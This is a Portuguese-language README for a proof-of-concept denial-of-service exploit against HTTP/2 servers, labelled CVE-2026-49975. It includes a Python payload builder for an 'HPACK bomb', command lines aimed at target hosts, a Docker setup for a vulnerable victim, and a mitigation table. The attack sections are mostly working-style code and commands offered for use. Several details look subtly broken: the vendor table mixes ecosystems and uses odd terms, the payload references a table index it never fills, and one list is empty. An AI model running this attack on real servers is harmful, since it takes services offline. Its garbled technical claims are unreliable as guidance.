
PoC de exploit para a vulnerabilidade CVE-2026-49975 DoS Bomba HTTP/2. Demonstra a bomba de referência indexada HPACK combinada com bloqueio de janela de controle de fluxo para esgotar a memória do servidor através de uma única conexão.
CVE-2026-49975 é uma vulnerabilidade crítica de negação de serviço (DoS) em implementações de servidores e proxies HTTP/2. O ataque, apelidado de "HTTP/2 Bomb" ou "HPACK Bomb", explora dois comportamentos de nível de projeto no protocolo HTTP/2 para forçar um alvo a um consumo ilimitado de memória (OOM) e esgotamento de CPU:
Pontuação Base CVSS 3.1: 9.8 (Crítica)
Vetor: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
O ataque é mais eficaz quando as duas etapas se complementam, mas cada etapa isolada é suficiente contra algumas implementações.
A compressão de cabeçalhos HPACK do HTTP/2 usa uma tabela dinâmica em evolução. Uma vez que um cabeçalho de cookie grande é inserido na tabela (via Codificação Literal+Incremental), um atacante pode referenciar essa entrada com um opcode de 1 byte. Referências repetidas fazem o decodificador reconstruir o mesmo cabeçalho repetidamente.
Wire: [Opcode: Indexed (0x80)] [Index: 63]
[1 byte per ref, repeated thousands of times]
↓
Decoded memory blow-up: each expansion yields a
{":method: GET", "cookie: a=xxxxxxxxx...x"} buffered for the
stream.
Um pacote de 5 KB pode expandir para centenas de megabytes de payload decodificado.
SETTINGS com INITIAL_WINDOW_SIZE=0 força a vítima a enfileirar
todos os dados de HEADERS/continuação. O atacante libera
frames WINDOW_UPDATE lentamente. Os buffers permanecem combinatoriamente cheios.
| Mecanismo | fator de amplificação |
|---|---|
| corpo HEADERS bruto | 1x |
| explosão de refs HPACK | 20–80x |
| + streams concorrentes | 100–500x |
| + bloqueio de janela | 1000x+ |
| Fornecedor / Projeto | Versão | descrição |
|---|---|---|
| Apache mod_http2 | < 2.0.13 | OOM em explosão de refs indexadas |
| nghttp2 | < 1.62.0 | inchaço de memória ilimitado |
| h2o | < 4.0.2 | loop infinito no decodificador |
| Node.js http2 crate | < 1.12.0 | expansão intrínseca em nghttp2-rs |
| Go net/http (h2) | < 1.24 | travamento de goroutine + alocação OSL |
| Apache Traffic Server | < 9.3.0 | OOM via buffer interno |
| HAProxy h2 | < 2.9 | crash em AVP superdimensionado |
| Envoy | < 1.30 | alocação massiva no controle de fluxo |
| Rust hyper/h2 crate | < 5.14 | panic em overflow SK |
Consulte a entrada CVE do seu fornecedor para os limites exatos.
# Python 3.8+ with ssl support
python --version
# SSL Certificate optional; PoC sets CERT_NONE
Docker vítima rápida:
docker run -d --name h2-victim -p 4433:443 \
nghttp2/nghttp2:1.57.0 nghttpd --dh-param-file /dev/null
O script complementar é exploit.py.
A rotina principal:
def build_hpack_bomb(num_headers: int = 20000) -> bytes:
cookie_name = b"cookie"
cookie_value = "a=" + "y" * 128
data = bytearray()
# Step 1: insert cookie into dynamic table
data.append(0x40) # Literal+incremental
data.extend(encode_hpack_int(len(cookie_name), 7))
data.extend(cookie_name)
data.extend(encode_hpack_int(len(cookie_value), 7))
data.extend(cookie_value.encode())
# Step 2: spam Indexed refs (index 63)
for _ in range(num_headers):
data.append(0x80)
data.extend(encode_hpack_int(63, 7))
return bytes(data)
O script executa:
# Basic run (default 10000 refs)
python exploit.py 192.168.1.100
# Custom port + 20000 refs
python exploit.py server.local 8443 -n 20000
# Disable window stall
python exploit.py endpoint.com --no-stall
# Longer observation (60 seconds)
python exploit.py 10.0.0.5 -d 60
# Verbose
python exploit.py 10.0.0.5 -v
Monitore os recursos da vítima:
watch -n1 'free -h && echo "--- top CPU/PID ---"'
ps -o pid,rss,pcpu,comm -p <victim_pid>
Sinais de que o ataque está funcionando:
| Abordagem | configuração |
|---|---|
| Limitar cabeçalhos por stream | MaxHeaderCount 500 |
| Rejeitar baixa compressão | limite de taxa < 5 |
| Limitar crescimento do HPACK | limitar tabela dinâmica a 1 KB |
| Memória por conexão | rejeitar após N MB |
| limitação de taxa | conn/s genérico, req/s |
Estas informações destinam-se apenas a fins educacionais e a testes de segurança autorizados. Execute apenas contra sistemas que você possui ou para os quais tem permissão por escrito para testar.